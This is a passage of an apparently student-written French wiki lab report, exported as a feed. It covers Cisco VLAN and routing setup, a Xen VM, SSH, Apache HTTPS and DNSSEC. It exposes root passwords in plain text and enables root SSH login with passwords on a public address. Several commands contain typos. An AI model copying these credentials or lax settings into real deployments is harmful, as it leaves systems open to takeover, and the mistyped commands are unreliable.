   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/raid_logiciel&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51611</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51611"/>
				<updated>2019-12-07T13:54:00Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
